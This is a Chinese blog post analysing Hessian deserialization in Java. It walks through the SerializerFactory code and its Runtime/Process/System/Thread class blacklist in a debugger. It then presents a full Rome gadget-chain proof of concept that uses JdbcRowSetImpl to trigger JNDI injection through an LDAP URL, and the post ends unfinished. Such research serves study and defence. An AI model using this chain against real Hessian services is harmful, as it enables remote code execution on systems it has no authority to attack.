Hessian反序列化
2023-06-05 17:36:36

[TOC]

# 0x01 Hessian 简介

Hessian 是二进制的 web service 协议,官方对 Java、Flash/Flex、Python、C++、.NET C# 等多种语言都进行了实现。Hessian 和 Axis、XFire 都能实现 web service 方式的远程方法调用,区别是 Hessian 是二进制协议,Axis、XFire 则是 SOAP 协议,所以从性能上说 Hessian 远优于后两者,并且 Hessian 的 JAVA 使用方法非常简单。它使用 Java 语言接口定义了远程对象,集合了序列化 / 反序列化和 RMI 功能。

Hessian 是基于 Field 机制的反序列化。是直接对 Field 进行复制操作的机制,不是通过 getter、setter 方法对属性赋值。就对象进行的方法调用而言,基于字段的机制通常通常不构成攻击面。

# Hessian 概念图

img

  • Serializer:序列化的接口
  • Deserializer :反序列化的接口
  • AbstractHessianInput :hessian 自定义的输入流,提供对应的 read 各种类型的方法
  • AbstractHessianOutput :hessian 自定义的输出流,提供对应的 write 各种类型的方法
  • AbstractSerializerFactory:抽象序列化工厂类
  • SerializerFactory :Hessian 序列化工厂的标准实现
  • ExtSerializerFactory:可以设置自定义的序列化机制,通过该 Factory 可以进行扩展
  • BeanSerializerFactory:对 SerializerFactory 的默认 object 的序列化机制进行强制指定,指定为使用 BeanSerializer 对 object 进行处理

Hessian Serializer/Derializer 默认情况下实现了以下序列化 / 反序列化器,用户也可通过接口 / 抽象类自定义序列化 / 反序列化器:

image-20230717090136667

序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化;反序列化时也会根据对象、属性不同类型选择不同的反序列化器;每个类型序列化器中还有具体的 FieldSerializer。这里注意下 JavaSerializer/JavaDeserializer 与 BeanSerializer/BeanDeserializer,它们不是类型序列化 / 反序列化器,而是属于机制序列化 / 反序列化器:

  1. JavaSerializer:通过反射获取所有 bean 的属性进行序列化,排除 static 和 transient 属性,对其他所有的属性进行递归序列化处理 (比如属性本身是个对象)
  2. BeanSerializer 是遵循 pojo bean 的约定,扫描 bean 的所有方法,发现存在 get 和 set 方法的属性进行序列化,它并不直接直接操作所有的属性,比较温柔

# 总结 & 扩展

1、Hessian 是二进制的 web service 协议,用于在分布式系统中进行远程过程调用(RPC)和序列化。

(这里提一句,看到远程调用可能会想到 RMI,其实这俩都是为了远程调用程序设计的,其中 RMI 是专门针对 java 语言的。而 RPC 是一种通用的概念,可应用于不同的编程语言之间的通信。两者都需要定义接口或者方法来描述可远程调用的操作。)

2、Hessian 因为是二进制协议,所以传输速率上要优于其他协议。但其相交于 json 格式其字节数会更多。并且不易读 (毕竟二进制)。hessian 序列化 - demo 演示_哔哩哔哩_bilibili

3、Hessian 的反序列化是基于 Field 机制的。许多集合、Map 等类型无法使用它们运行时表示形式进行传输 / 存储,这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法,例如 Hessian 中如果是反序列化 map 类型,会调用 MapDeserializer 处理 map,期间 map 的 put 方法被调用,map 的 put 方法又会计算被恢复对象的 hash 造成 hashcode 调用(这里对 hashcode 方法的调用就是前面说的必须调用攻击者提供的对象上的方法),根据实际情况,可能 hashcode 方法中还会触发后续的其他方法调用。

# 测试

下面我们来看下原生的反序列化

一个 test 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class test implements Serializable {
public String name="ki10Moc";
public int age=222;

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}

private void readObject(ObjectInputStream ois){
System.out.print("自动调用了readObject方法");
}
}

一个 demo 启动类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import java.io.*;

public class demo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(new test());
oser.close();


System.out.println(ser);
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
}

image-20230717091105399

再来看一个 Hessian 的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class HessianDemo {
public static void main(String[] args) throws IOException {
ByteArrayOutputStream ser = new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(ser);
hessianOutput.writeObject(new test());
hessianOutput.close();

System.out.println(ser);

HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
hessianInput.readObject();
}
}

image-20230717091132040

可以发现其并不会像原生的 Gadget 自动调用 readObject 方法

并且 Hessian 反序列化中的类是不需要实现序列化接口的

下面我们 debug 看下

# 0x02 调试分析

# 无用的流程

这段 debug 可能也没什么意义吧。。似乎

只是走了一遍流程,嫌麻烦的话完全可以去掉这一过程

进入 HessianInput 的 readObject 方法

首先判断第一个 tag 为 77 (M)

因为 Hessian 序列化时将结果处理成了 Map

image-20230717091310090

然后是遍历反序列化对象的名称字段和 ascill

我这里就是 org.example.test

image-20230717091352063

到这里开始就进入到了序列化工厂类

先是调用 readMap

image-20230717091417005

这里就是看哪种能获取哪种 type,然后调用对应的反序列化器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object readMap(AbstractHessianInput in, String type)
throws HessianProtocolException, IOException
{
Deserializer deserializer = getDeserializer(type);

if (deserializer != null)
return deserializer.readMap(in);
else if (_hashMapDeserializer != null)
return _hashMapDeserializer.readMap(in);
else {
_hashMapDeserializer = new MapDeserializer(HashMap.class);

return _hashMapDeserializer.readMap(in);
}
}

第一步先进入 getDeserializer

先判断类型,不能为空

进入下一个 if

image-20230717091500699

其中 _cachedSerializerMap 是一个私有的 HashMap 类型

image-20230717091650023

然后这里获取到 type,并强转为 Deserializer

image-20230717091702256

但这里 deserializer 的值仍为 null

说明其 type 没有对应上

最后一个判断,是否是 [(数组) 开头,显然也不是

image-20230717091714769

进入 try 的 loadSerializedClass 方法

1
2
3
4
5
public Class<?> loadSerializedClass(String className)
throws ClassNotFoundException
{
return getClassFactory().load(className);
}

该方法直接调用了 getClassFactory ().load 处理结果并返回

继续跟进

1
2
3
4
5
6
7
8
9
10
public Class<?> load(String className)
throws ClassNotFoundException
{
if (isAllow(className)) {
return Class.forName(className, false, _loader);
}
else {
return HashMap.class;
}
}

image-20230717091811304

这里就将 org.example.test 初始化

image-20230717092945067

接下来就是判断

我们直接看下代码,也是比较好理解的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static class Allow {
private Boolean _isAllow;
private Pattern _pattern;

private Allow(String pattern, boolean isAllow)
{
_isAllow = isAllow;
_pattern = Pattern.compile(pattern);
}

Boolean allow(String className)
{
if (_pattern.matcher(className).matches()) {
return _isAllow;
}
else {
return null;
}
}
}

static {
ArrayList<Allow> blacklist = new ArrayList<Allow>();

blacklist.add(new Allow("java\\.lang\\.Runtime", false));
blacklist.add(new Allow("java\\.lang\\.Process", false));
blacklist.add(new Allow("java\\.lang\\.System", false));
blacklist.add(new Allow("java\\.lang\\.Thread", false));

_staticAllowList = new ArrayList<Allow>(blacklist);

_staticAllowList.add(new Allow("java\\..+", true));
_staticAllowList.add(new Allow("javax\\.management\\..+", true));

_staticDenyList = new ArrayList<Allow>(blacklist);
}

一个静态方法 Allow

用来控制该类是否为可访问项

一个匹配模式和 Bool 型返回值

其中黑名单,0123 分别对应了四种类

image-20230717095930595

下面那两个就是允许访问的类

然后遍历四个黑名单均为 false

遍历完返回 null

image-20230717100438918

接着就到了 loadDeserializer

但是上面的类名均不在名单中所以返回都是 null

image-20230717101449995

该过程中加载了很多个不同的 Deserializer 对应的方法,均 null

最终在 else 处加载到内容

image-20230717102842527

接着回到 SerializerFactory.getDeserializer

loadDeserializer

image-20230717103231272

并比对是否在缓存中的该类型反序列化器

因为加载到了相应的反序列化器,所以就一马平川到了这里

直接返回了 readMap 的 in,回到开始的 HessianInput 处理流

image-20230717103406461

也是直接返回内容

image-20230717103440105

最终走完整个过程

image-20230717103456577

# 漏洞分析

刚才我们分析序列化工厂这里的 getDeserializer

image-20230717110933721

代码会将其存储到 _cachedTypeDeserializerMap 中,以便下次相同 type 的请求可以从缓存中直接获取。

再联想到可以调用任意类的 hashCode ()

image-20230717111148926

所以接下来就需要 hashCode () 作为反序列化入口即可

# Rome 链

Rome 链,从 TemplatesImpl 的 getter 方法 ->JdbcRowSetImpl 的 getter 方法实现 JNDI 注入

Gadget

1
2
3
4
5
6
7
8
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

这是 Rome 链的流程但是在 Hessian 不能使用

之所以不能用 TemplatesImpl 的这个链子,就是因为 _tfactory 属性是 transient 的,Hessian 的反序列化不像正常的反序列化那样可以调用 readObject,_tfactory 无法处理,为 null 的情况下就不能实现动态加载字节码,所以换成了 JdbcRowSetImplgetter 来实现 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:8085/YbiMqGUd";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

到这里其实没写完,但是电脑出问题了,后面好了一会把 md 发出来了

电脑可能是内存不够了,内存直接拉满了一直黑屏,可惜还没到换电脑的时候。。。

未完成事项都先放到周末吧,唉,第一个周末真的是一言难尽